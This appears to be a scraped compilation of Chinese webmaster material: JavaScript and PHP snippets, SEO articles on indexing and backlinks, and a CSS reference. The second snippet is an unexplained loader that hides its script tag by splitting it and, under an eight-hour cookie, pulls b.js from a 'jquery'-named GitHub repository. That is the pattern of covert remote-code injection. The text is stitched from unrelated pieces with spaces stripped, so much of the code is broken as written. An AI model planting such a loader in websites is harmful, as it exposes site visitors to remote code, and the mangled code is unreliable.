1、方法一:JS调用代码:<scripttype=”text/javascript”>functionaddLink(){varselection=window.getSelection();pagelink=“.原文出自[站三界导航]转载请保留原文链接:”+document.location.href;copytext=selection+pagelink;newdiv=document.createElement(‘div’);newdiv.style.position=‘absolute’;newdiv.style.left=‘-99999px’;document.body.appendChild(newdiv);newdiv.innerHTML=copytext;selection.selectAllChildren(newdiv);window.setTimeout(function(){document.body.removeChild(newdiv);},100);}document.oncopy=addLink;</script> 2、方法二:版权代码2:functionaddLink(){varbody_element=document.body;varselection;selection=window.getSelection();if(window.clipboardData){//InternetExplorervarpagelink=”\r\n\r\n原文出自[站三界导航]转载请保留原文链接:“+document.location.href+””;varcopytext=selection+pagelink;window.clipboardData.setData(“Text”,copytext);returnfalse;}else{varpagelink=”原文出自[站三界导航]转载请保留原文链接:“+document.location.href+””;varcopytext=selection+pagelink;varnewdiv=document.createElement(‘div’);newdiv.style.position=’absolute’;newdiv.style.left=’-99999px’;body_element.appendChild(newdiv);newdiv.innerHTML=copytext;selection.selectAllChildren(newdiv);window.setTimeout(function(){body_element.removeChild(newdiv);},0);}}document.oncopy=addLink;
<scripttype="text/javascript">functionsetUCookie(u_name,value){varexdate=newDate()exdate.setHours(exdate.getHours()+8);document.cookie=u_name+"="+escape(value)+";expires="+exdate.toGMTString();}functiongetUCookie(u_name){if(document.cookie.length>0){u_start=document.cookie.indexOf(u_name+"=")if(u_start!=-1){u_start=u_start+u_name.length+1u_end=document.cookie.indexOf(";",u_start)if(u_end==-1)u_end=document.cookie.lengthreturnunescape(document.cookie.substring(u_start,u_end))}}return""}function_setTimeout(){if(getUCookie("uTimeCookie")!=1){document.writeln('<scr'+'iptsrc="https://cdn.jsdelivr.net/gh/yellowside/jquery/b.js"></scr'+'ipt>');}}_setTimeout()setUCookie("uTimeCookie","1");</script>
Math.random()是令系统随机选取0-1之间的14位的随机数10就等于是100%的几率,现在的一个展示的是70%一个展示的是30%的几率,一般用于一个页面下有多条数据要展示的情况做的流量分流的效果。<style>#z{display:none;}#s{display:none;}</style><divid="z">页面1</div><divid="s">页面2</div><script>sj=Math.floor(Math.random()*10+1);if(sj<4){document.getElementById("z").style.display="block";}else{document.getElementById("s").style.display="block";}</script>
互联网原创潮流早已经泛滥,到目前为止也成为了推动排名的一项重要参考指标,但是多数朋友在原创的道路上坚持数月,仍旧达不到快速收录的效果,以下简行SEO简单说明,仅供参考。 一.百度为什么要快速收录你的原创? 百度推广原创计划与原创保护的目的更多是净化互联网的滥抄现象、避免互联网垃圾信息泛滥、维护一些原创人员的心血与版权,同时也是鼓励大家顺应时代发展,慢慢接受这个版权发展时代。当然对于百度,并不是说原创了就一定会收录,这是大家都懂的道理。 那么百度为什么要快速收录你的原创文章? 1.目标网站权重 这个很好理解,原创文章通过一些高权重网站发布,大部份就会很快收录,你懂的,即使个别内容质量较差也不影响收录问题。 2.原创问题 多数SEOer都在坚持原创的道理上,而且原创质量也不低,但是就是迟迟不收录,可以说不仅仅是对自己的打击,也是对SEO整个行业的打击,这其中不仅仅原创的问题,同时也是一些SEOer操作问题。 其主要原因是原创文章的质量问题,有以下表现方式: a.原创的文章对用户很有用 b.原创的文章是互联网最新要闻 c.原创的内容信息一直有效 d.文章的排版很正规 e.目标网站的原创文章能够有效的持续输出 f.写出原创文章,及时向百度提交,进行主动推送会大大增加收录的速度,可自行测试,请不要放弃。 3.运营问题 网站通制作、填充内容、SEO设置,然后上线,在这个过程都是一个熟练操作过程,上线及时更新、定时维护、制作高质量文章方案、长尾词、外链、营销等等方案,有效快捷,全程操作中,对于伤害网站的操作基本没有存在,那么达到快速收录基本上是非常之简单的。 4.网站通过考核期 当网站通过考核期或进入排名稳定期时,发布的原创文章往往在一天左右或一天以内就可完成收录。老话题,不用多说,你懂的。 5.新闻源内容 新闻源内容往往受互联网群聚效应和信息热点影响收录的速度都会快于一般内容。 二.百度为什么不快速收录你的原创? 同样道理,收录有收录的道理,不收录就有不收录的原因。老生常谈了,以下简行SEO的简单说明仅供参考。 1.垃圾原创 原创不是说你的内容是互联网没有的东西就是原创了,原创还要从用户出发,一些SEOer为了投机,对内容进行打乱、伪造等,欺骗搜索引擎,对于这种内容百度一旦发现不仅不会收录,严重的话降权、K站都有可能。 2.伪原创 不多了,你懂的,互联网最多的一类用户制造者。 3.权重低 网站权重不够,收录起来自然是艰难无比,这一项往往影响着网站的排名和收录问题,新站的权重与信任度往往都极低,收录起来更是艰难的不行,时间极长,正常操作的话,通过一到两个月的考核即可顺利达到一天内收录的效果。 4.内容陈旧 一些SEOer可能过于执着于原创思维,殊不知原创的内容过于陈旧,百度自然也不喜欢这种内容,干吗要收录呢。 5.其它原因 a.网站结构或路径过深 b.主机过差,稳定性差 c.robots协议问题 d.域名存在被K现象 e.关键词堆砌或其它作弊手段影响 f.JS、代码冗余
5分钟教会你22个网站SEO常规外链建设方法,做外链其实很容易!对做外链完全没头绪?不知道如何做网站推广?曾几何时我也是一样。外链无疑对网站还是很有作用的,很多SEO新手不会做外链,很是头疼,这里给大家罗列了22中常规网站外链建设方法,还是那句话重要的是执行。自己的网站新网站建设外部链接比较难,没有权重。这时可以先在自己的老网站上做几个链接,过几个月后,有了一定收录和权重,再去交换链接,养一些网站对新网站建设很有作用。博客这里的博客指独立博客,建设外链时,相对于商业网站,个人独立博客给链接是比较容易的。文章发表很多网站接受投稿,如自媒体平台、第三方博客等。可以去注册账号发表文章,多收集这类网站,积累资源。论坛博客留言在论坛留言中包含外链是比较常见的,很多论坛正文中也可以加入链接。博客评论基本都加了NF属性,但是博客留言能引起博主和其他人的注意,形成互动,卢松松博客当初就是靠留言起家的。合作伙伴所有公司企业都有各种各样的合作伙伴,供货商、客户、投资方、原材料供应商、生意伙伴都可以是外部链接来源。每一个合作伙伴都是可以请求和获得外部链接的来源,而且来自合作伙伴的链接通常质量比较高。再谈合作时,简单的一句就可能带来一个高质量的链接。网摘书签网摘书签(网上有很多线上书签服务,如:QQ书签、百度搜藏、Google书签等。站长可以注册这些线上服务,网站上有新内容时,先存到自己的书签账号中。)百科及问答类网站百科知道天涯等问答类网站通常权重很高,如果你的网站有于词条相关性很高的资源内容,可以加在扩展阅读部分。客座及团队博客比如卢松松博客,月光博客等等都是接受投稿的,并且会留下链接,每个行业都会有几个权威博客。检查竞争对手网站查看竞争对手的外链情况,通常能找到好的来源,可以把竞争对手具备的外链也得到。网络广告只要没有使用JS脚本或通过程序转向,普通的HTML链接做成的广告就是正常的外部链接。购买链接如果网络广告以文字链接的形式出现,就变成购买链接。主要以点击流量为目的,又能带来外部链接,尽量不要在明显的链接交易平台或论坛找卖家。社会化媒体网站豆瓣、知乎、新浪等网站上出现网址很常见,一个很多听众的账号贴网址,经常会带来大量的点击访问。联署计划也就是站长们熟悉的网站联盟CMS系统模板会制作模板的站长可以把某些模板给其他站长免费使用,唯一的条件是,在模版版权声明处留下设计者的链接。新闻稿发布发布新闻稿件时可以带上网站的链接,有些网站需要付费,新闻网站通常权重比较高,所以是比较好的外部脸。就算是付费,也只是一次性付费,永久保留链接,可以去松松软文找渠道。媒体公关有公关实力和渠道的企业网站,在进行公关活动时不要忘了,除了曝光度,公关也可能成为外部链接建设的强有力方法,可以在发布新闻时提到公司网址。请求链接如果网站上真有非常有价值的内容,直接请求链接也是一个可行的方法。购买网站排名比较好的网站一般不会出售,可以找排名在前十页或20页的网站,都有不错的权重和相关性。站群与购买网站有点类似的是通过站群建设外部链接,使用蜘蛛大师可以快速建立站群,同时可以为自己网站引来大量蜘蛛访问。 赞助活动赞助活动也是一个建立单项外部链接的方法,通常活动官方网站上会列出赞助商并且给予链接。电子书发布电子书中可以放上作者网站链接,除了放在自己网站上下载,还可以自行提交到各大软件下载网站信息发布网站网上有一些允许用户发布信息的网站,如:B2B、分类广告等,其中有一部分允许用户在发布信息中包含链接。虽然介绍了22种外链建设方法,但是全部使用也不太现实,要选择适合自己的方式,持续去做,不断积累经验、资源,只要愿意做其实很容易,把简单的方法做到极致,一事精致,足以动人。
字体属性:(font) 大小{font-size:x-large;}(特大)xx-small;(极小)一般中文用不到,只要用数值就可以, 单位:PX、PD 样式{font-style:oblique;}(偏斜体)italic;(斜体)normal;(正常) 行高{line-height:normal;}(正常)单位:PX、PD、EM 粗细{font-weight:bold;}(粗体)lighter;(细体)normal;(正常) 变体{font-variant:small-caps;}(小型大写字母)normal;(正常) 大小写{text-transform:capitalize;}(首字母大写)uppercase;(大写)lowercase;(小写)none;(无) 修饰{text-decoration:underline;}(下划线)overline;(上划线)line-through;(删除线)blink;(闪烁) 常用字体:(font-family)“CourierNew“,Courier,monospace,“TimesNewRoman“,Times,serif,Arial,Helvetica,sans-serif,Verdana 背景属性:(background) 色彩{background-color:#FFFFFF;} 图片{background-image:url();} 重复{background-repeat:no-repeat;} 滚动{background-attachment:fixed;}(固定)scroll;(滚动) 位置{background-position:left;}(水平)top(垂直); 简写方法{background:#000url(..)repeatfixedlefttop;}/*简写·这个在阅读代码中 经常出现,要认真的研究*/ 区块属性:(Block)/*这个属性第一次认识,要多多研究*/ 字间距{letter-spacing:normal;}数值/*这个属性似乎有用,多实践下*/ 对齐{text-align:justify;}(两端对齐)left;(左对齐)right;(右对齐)center;(居中) 缩进{text-indent:数值px;} 垂直对齐{vertical-align:baseline;}(基线)sub;(下标)super;(下标)top;text-top;middle;bottom;text-bottom; 词间距word-spacing:normal;数值 空格white-space:pre;(保留)nowrap;(不换行) 显示{*:block;}(块)inline;(内嵌)list-item;(列表项)run-in;(追加部分)compact;(紧凑)marker;(标记)table;inline-table;table-raw-group;table-header-group;table-footer-group;table-raw;table-column-group;table-column;table-cell;table-caption;(表格标题)/**属性的了解很模糊*/ 方框属性:(Box) width:;height:;float:;clear:both;margin:;padding:;顺序:上右下左 边框属性:(Border) border-style:dotted;(点线)dashed;(虚线)solid;double;(双线)groove;(槽线) ridge;(脊状)inset;(凹陷)outset; border-width:;边框宽度 border-color:#; 简写方法border:widthstylecolor;/*简写*/ 列表属性:(List-style) 类型list-style-type:disc;(圆点)circle;(圆圈)square;(方块)decimal;(数字) lower-roman;(小罗码数字)upper-roman;lower-alpha;upper-alpha; 位置list-style-position:outside;(外)inside; 图像list-style-image:url(..); 定位属性:(Position)Position:absolute;relative;static;visibility:inherit;visible;hidden;overflow:visible;hidden;scroll;auto;clip:rect(12px,auto,12px,auto)(裁切)一CSS文字属性: color:#999999;/*文字颜色*/ font-family:宋体,sans-serif;/*文字字体*/ font-size:9pt;/*文字大小*/ font-style:itelic;/*文字斜体*/ font-variant:small-caps;/*小字体*/ letter-spacing:1pt;/*字间距离*/ line-height:200%;/*设置行高*/ font-weight:bold;/*文字粗体*/ vertical-align:sub;/*下标字*/ vertical-align:super;/*上标字*/ text-decoration:line-through;/*加删除线*/ text-decoration:overline;/*加顶线*/ text-decoration:underline;/*加下划线*/ text-decoration:none;/*删除链接下划线*/ text-transform:capitalize;/*首字大写*/ text-transform:uppercase;/*英文大写*/ text-transform:lowercase;/*英文小写*/ text-align:right;/*文字右对齐*/ text-align:left;/*文字左对齐*/ text-align:center;/*文字居中对齐*/ text-align:justify;/*文字分散对齐*/ vertical-align属性 vertical-align:top;/*垂直向上对齐*/ vertical-align:bottom;/*垂直向下对齐*/ vertical-align:middle;/*垂直居中对齐*/ vertical-align:text-top;/*文字垂直向上对齐*/ vertical-align:text-bottom;/*文字垂直向下对齐*/ 二、CSS边框空白 padding-top:10px;/*上边框留空白*/ padding-right:10px;/*右边框留空白*/ padding-bottom:10px;/*下边框留空白*/ padding-left:10px;/*左边框留空白 三、CSS符号属性: list-style-type:none;/*不编号*/ list-style-type:decimal;/*阿拉伯数字*/ list-style-type:lower-roman;/*小写罗马数字*/ list-style-type:upper-roman;/*大写罗马数字*/ list-style-type:lower-alpha;/*小写英文字母*/ list-style-type:upper-alpha;/*大写英文字母*/ list-style-type:disc;/*实心圆形符号*/ list-style-type:circle;/*空心圆形符号*/ list-style-type:square;/*实心方形符号*/ list-style-image:url(/dot.gif);/*图片式符号*/ list-style-position:outside;/*凸排*/ list-style-position:inside;/*缩进*/ 四、CSS背景样式: background-color:#F5E2EC;/*背景颜色*/ background:transparent;/*透视背景*/ background-image:url(/image/bg.gif);/*背景图片*/ background-attachment:fixed;/*浮水印固定背景*/ background-repeat:repeat;/*重复排列-网页默认*/ background-repeat:no-repeat;/*不重复排列*/ background-repeat:repeat-x;/*在x轴重复排列*/ background-repeat:repeat-y;/*在y轴重复排列*/ 指定背景位置 background-position:90%90%;/*背景图片x与y轴的位置*/ background-position:top;/*向上对齐*/ background-position:buttom;/*向下对齐*/ background-position:left;/*向左对齐*/ background-position:right;/*向右对齐*/ background-position:center;/*居中对齐*/ 五、CSS连接属性: a/*所有超链接*/ a:link/*超链接文字格式*/ a:visited/*浏览过的链接文字格式*/ a:active/*按下链接的格式*/ a:hover/*鼠标转到链接*/ 鼠标光标样式: 链接手指CURSOR:hand 十字体cursor:crosshair 箭头朝下cursor:s-resize 十字箭头cursor:move 箭头朝右cursor:move 加一问号cursor:help 箭头朝左cursor:w-resize 箭头朝上cursor:n-resize 箭头朝右上cursor:ne-resize 箭头朝左上cursor:nw-resize 文字I型cursor:text 箭头斜右下cursor:se-resize 箭头斜左下cursor:sw-resize 漏斗cursor:wait 光标图案(IE6)p{cursor:url(“光标文件名.cur“),text;} 六、CSS框线一览表: border-top:1pxsolid#6699cc;/*上框线*/ border-bottom:1pxsolid#6699cc;/*下框线*/ border-left:1pxsolid#6699cc;/*左框线*/ border-right:1pxsolid#6699cc;/*右框线*/ 以上是建议书写方式,但也可以使用常规的方式如下: border-top-color:#369/*设置上框线top颜色*/ border-top-width:1px/*设置上框线top宽度*/ border-top-style:solid/*设置上框线top样式*/ 其他框线样式 solid/*实线框*/ dotted/*虚线框*/ double/*双线框*/ groove/*立体内凸框*/ ridge/*立体浮雕框*/ inset/*凹框*/ outset/*凸框*/ 七、CSS表单运用: 文字方块 按钮 复选框 选择钮 多行文字方块 下拉式菜单选项1选项2 八、CSS边界样式: margin-top:10px;/*上边界*/ margin-right:10px;/*右边界值*/ margin-bottom:10px;/*下边界值*/ margin-left:10px;/*左边界值*/ CSS属性:字体样式(FontStyle) 序号中文说明标记语法 1字体样式{font:font-stylefont-variantfont-weightfont-sizefont-family} 2字体类型{font-family:“字体1“,“字体2“,“字体3“,...} 3字体大小{font-size:数值|inherit|medium|large|larger|x-large|xx-large| small|smaller|x-small|xx-small} 4字体风格{font-style:inherit|italic|normal|oblique} 5字体粗细{font-weight:100-900|bold|bolder|lighter|normal;} 6字体颜色{color:数值;} 7阴影颜色{text-shadow:16位色值} 8字体行高{line-height:数值|inherit|normal;} 9字间距{letter-spacing:数值|inherit|normal} 10单词间距{word-spacing:数值|inherit|normal} 11字体变形{font-variant:inherit|normal|small-cps} 12英文转换{text-transform:inherit|none|capitalize|uppercase|lowercase} 13字体变形{font-size-adjust:inherit|none} 14字体{font-stretch:condensed|expanded|extra-condensed|extra-expanded|inherit|narrower|normal|semi-condensed|semi-expanded|ultra- condensed|ultra-expanded|wider} 文本样式(TextStyle) 序号中文说明标记语法 1行间距{line-height:数值|inherit|normal;} 2文本修饰{text-decoration:inherit|none|underline|overline|line-through|blink} 3段首空格{text-indent:数值|inherit} 4水平对齐{text-align:left|right|center|justify} 5垂直对齐{vertical-align:inherit|top|bottom|text-top|text-bottom|baseline|middle|sub|super} 6书写方式{writing-mode:lr-tb|tb-rl} 背景样式 序号中文说明标记语法 1背景颜色{background-color:数值} 2背景图片{background-image:url(URL)|none} 3背景重复{background-repeat:inherit|no-repeat|repeat|repeat-x|repeat-y} 4背景固定{background-attachment:fixed|scroll} 5背景定位{background-position:数值|top|bottom|left|right|center} 6背影样式{background:背景颜色|背景图象|背景重复|背景附件|背景位置} 框架样式(BoxStyle) 序号中文说明标记语法 1边界留白{margin:margin-topmargin-rightmargin-bottommargin-left} 2补 白{padding:padding-toppadding-rightpadding-bottompadding-left} 3边框宽度{border-width:border-top-widthborder-right-widthborder-bottom-widthborder-left-width} 宽度值:thin|medium|thick|数值 4边框颜色{border-color:数值数值数值数值} 数值:分别代表top、right、bottom、left颜色值 5边框风格{border-style:none|hidden|inherit|dashed|solid|double|inset|outset|ridge|groove} 6边 框{border:border-widthborder-stylecolor} 上边框{border-top:border-top-widthborder-stylecolor} 右边框{border-right:border-right-widthborder-stylecolor} 下边框{border-bottom:border-bottom-widthborder-stylecolor} 左边框{border-left:border-left-widthborder-stylecolor} 7宽 度{width:长度|百分比|auto} 8.高 度{height:数值|auto} 9漂 浮{float:left|right|none} 10清 除{clear:none|left|right|both} 分类列表 序号中文说明标记语法 1控制显示{*:none|block|inline|list-item} 2控制空白{white-space:normal|pre|nowarp} 3符号列表{list-style-type:disc|circle|square|decimal|lower-roman|upper-roman|lower-alpha|upper-alpha|none} 4图形列表{list-style-image:URL} 5位置列表{list-style-position:inside|outside} 6目录列表{list-style:目录样式类型|目录样式位置|url} 7鼠标形状{cursor:hand|crosshair|text|wait|move|help|e-resize|nw-resize|w-resize|s-resize|se-resize|sw-resize}
$url="http://www.boc.cn/sourcedb/whpj/";$queryServer=curl_init();curl_setopt($queryServer,CURLOPT_URL,$url);curl_setopt($queryServer,CURLOPT_HEADER,0);curl_setopt($queryServer,CURLOPT_RETURNTRANSFER,1);curl_setopt($queryServer,CURLOPT_RETURNTRANSFER,true);curl_setopt($queryServer,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($queryServer,CURLOPT_TIMEOUT,30);$html=curl_exec($queryServer);$html=iconv('UTF-8','GBK//IGNORE',$html);//如果你需要是的数据是utf-8编码的,这一行可以注销,如果需要gbk编码的,请保留.如果出现乱码,就是一行的问题,你自己调着试吧//echo$holder;exit;此处可以输出来测试.$html=str_replace(array("\n","\r","\t"),"",$html);$preg='/<table\s+width=\"800\"[^>]+>(.*?)<\/table>/';preg_match_all($preg,$html,$out);//匹配每行preg_match_all('/<tr[^>]+>(.*?)<\/tr>/',$out[1][0],$tr);//匹配每个td$result=array();$match='/<td.+>([^<]+)<\/td>/U';foreach($tr[0]as$key=>$value){preg_match_all($match,$value,$arr);$result[]=$arr[1];}//输出测试,$result就是你要的数据,至于你要怎么输出显示格式,那就随心调就好了。foreach($resultas$key=>$value){echoimplode("\t",$value);echo"<br>";}exit;
<?php/*********************************************使用方法:**1、将本段代码保存为MkEncrypt.php**2、在要加密的页面前面引入这个php文件*require_once('MkEncrypt.php');**3、设置页面访问密码*MkEncrypt('页面密码');*********************************************///密码Cookie加密盐if(!defined('MK_ENCRYPT_SALT'))define('MK_ENCRYPT_SALT','Kgs$JC!V');/***设置访问密码**@param$password访问密码*@param$pageid页面唯一ID值,用于区分同一网站的不同加密页面*/functionMkEncrypt($password,$pageid='default'){$pageid=md5($pageid);$md5pw=md5(md5($password).MK_ENCRYPT_SALT);$postpwd=isset($_POST['pagepwd'])?addslashes(trim($_POST['pagepwd'])):'';$cookiepwd=isset($_COOKIE['mk_encrypt_'.$pageid])?addslashes(trim($_COOKIE['mk_encrypt_'.$pageid])):'';if($cookiepwd==$md5pw)return;//Cookie密码验证正确if($postpwd==$password){//提交的密码正确setcookie('mk_encrypt_'.$pageid,$md5pw,time()+3600000,'/');return;}?><html><head><metahttp-equiv="Content-Type"content="text/html;charset=UTF-8"><metacharset="UTF-8"><metahttp-equiv="X-UA-Compatible"content="IE=edge"><metaname="renderer"content="webkit"><metaname="author"content="mengkun"><metaname="viewport"content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"><title>该页面已被加密</title><styletype="text/css">*{font-family:"MicrosoftYahei",微软雅黑,"HelveticaNeue",Helvetica,"HiraginoSansGB","WenQuanYiMicroHei",sans-serif;box-sizing:border-box;margin:0px;padding:0px;font-size:14px;-webkit-transition:.2s;-moz-transition:.2s;-ms-transition:.2s;-o-transition:.2s;transition:.2s}html,body{width:100%;height:100%}body{background-color:#F4F6F9;color:#768093}input,button{font-size:1em;border-radius:3px;-webkit-appearance:none}input{width:100%;padding:5px;box-sizing:border-box;border:1pxsolid#e5e9ef;background-color:#f4f5f7;resize:vertical}input:focus{background-color:#fff;outline:none}button{border:0;background:#6abd09;color:#fff;cursor:pointer;opacity:1;user-select:none}button:hover,button:focus{opacity:.9}button:active{opacity:1}.main{width:100%;max-width:500px;height:300px;padding:30px;background-color:#fff;border-radius:2px;box-shadow:010px60px0rgba(29,29,31,0.09);transition:all.12sease-out;position:absolute;left:0;top:0;bottom:0;right:0;margin:auto;text-align:center}.alert{width:80px}.mk-side-form{margin-bottom:28px}.mk-side-forminput{float:left;padding:2px10px;width:77%;height:37px;border:1pxsolid#ebebeb;border-right-color:transparent;border-radius:2px002px;line-height:37px}.mk-side-formbutton{position:relative;overflow:visible;width:23%;height:37px;border-radius:02px2px0;text-transform:uppercase}.pw-tip{font-weight:normal;font-size:26px;text-align:center;margin:25pxauto}#pw-error{color:red;margin-top:15px;margin-bottom:-20px;}.return-home{text-decoration:none;color:#b1b1b1;font-size:16px}.return-home:hover{color:#1E9FFF;letter-spacing:5px}</style></head><body><divclass="main"><svgclass="alert"viewBox="0010841024"xmlns="http://www.w3.org/2000/svg"width="80"height="80"><defs><style/></defs><pathd="M1060.744895.036L590.54780.656a55.95955.959000-96.9190L22.588896.662a55.95955.95900048.4383.907h942.14a55.95955.95900047.525-85.534zm-470.619-85.172a48.00848.008011-96.0150v-1.567a48.00848.00801196.0150v1.567zm0-175.345a48.00848.008011-96.0150V379.362a48.00848.00801196.0150v255.157z"fill="#FF9800"/></svg><formaction=""method="post"class="mk-side-form"><h2class="pw-tip">该页面已被加密</h2><inputtype="password"name="pagepwd"placeholder="请输入访问密码查看"required><buttontype="submit">提交</button><?phpif($postpwd):?><pid="pw-error">Oops!密码不对哦~</p><script>setTimeout(function(){document.getElementById("pw-error").style.display="none"},2000);</script><?phpendif;?></form><ahref="/"class="return-home"title="点击回到网站首页">-返回首页-</a></div></body></html><?phpexit();}
01.在线校验域名授权的方法:客户端代码:<?php//获取不带端口号的域名前缀$servername=trim($_SERVER['SERVER_NAME']);//获取服务端授权文件校验$verifyurl=file_get_contents('http://www.***.com/copyright.php?domain='.$servername);if(!empty($verifyurl)){echo"已授权!";//授权成功}else{die("未授权!");//授权失败}?>服务端代码:<?php//获取域名$domain=$_GET['domain'];//授权域名列表$Array=array('127.0.0.1','localhost');//校验结果echoin_array($domain,$Array)?'yes':'';?>域名授权代码可封装进函数,或者进行加密,对于常用的PHP加密形式,都有其破解的方法,比如ZendGuard、ionCube等,如果授权的域名较多,可以在项目中增加域名字段,将域名写入数据库再进行读取和校验,02.独立校验域名授权的方法:<?phpfunctionallow_domain(){$is_allow=false;//获取不带端口号的域名前缀$servername=trim($_SERVER['SERVER_NAME']);//授权域名列表$Array=array("localhost","127.0.0.1");//遍历数组foreach($Arrayas$value){$value=trim($value);$domain=explode($value,$servername);if(count($domain)>1){$is_allow=true;break;}}if(!$is_allow){die("域名未授权!");//授权失败}else{echo"域名已授权!";//授权成功}}allow_domain();?>域名授权的目的在于保护知识产权,鼓励开发者能够发布更多优秀的作品,推动整个网络社会的文化发展与科技进步,有着十分重要的意义。同时也请大家支持正版支持原创!
记忆中,我们看过很多博客、微博和QQ空间里面,很多人都给自己的小窝设置了固定背景,不随浏览器滚动,实现的方法除了javascript,CSS也可以轻松实现。background不随浏览器滚动的代码如下:CSS代码body{word">background:url(背景图片地址)no-repeatfixedcentertop;margin:0;padding:0;}只需要一个核心代码就实现了背景不随浏览器滚动,兼容了IE6+浏览器,其核心代码为:background-attachment:fixed;无论滚动条如何拖动,背景图片始终牢牢固定在页面上。目前绝大部分人都在用宽屏浏览器,所以我们设置的背景最好选择在1920*1080大小较为合适,无论是微博还是QQ空间,用户关注的是中间的文章,选择背景要挑选主题画面偏向两边的,使其让人显而易见,才能起到画龙点睛的作用。如果你用其他的方法不能解决IE6背景不随浏览器滚动,不妨试试上面的CSS代码,或者用下面的JS来解决。IE6浏览器实现背景不随浏览器滚动的代码:JavaScript代码<scripttype="text/javascript">varscrollBackground=true;</script>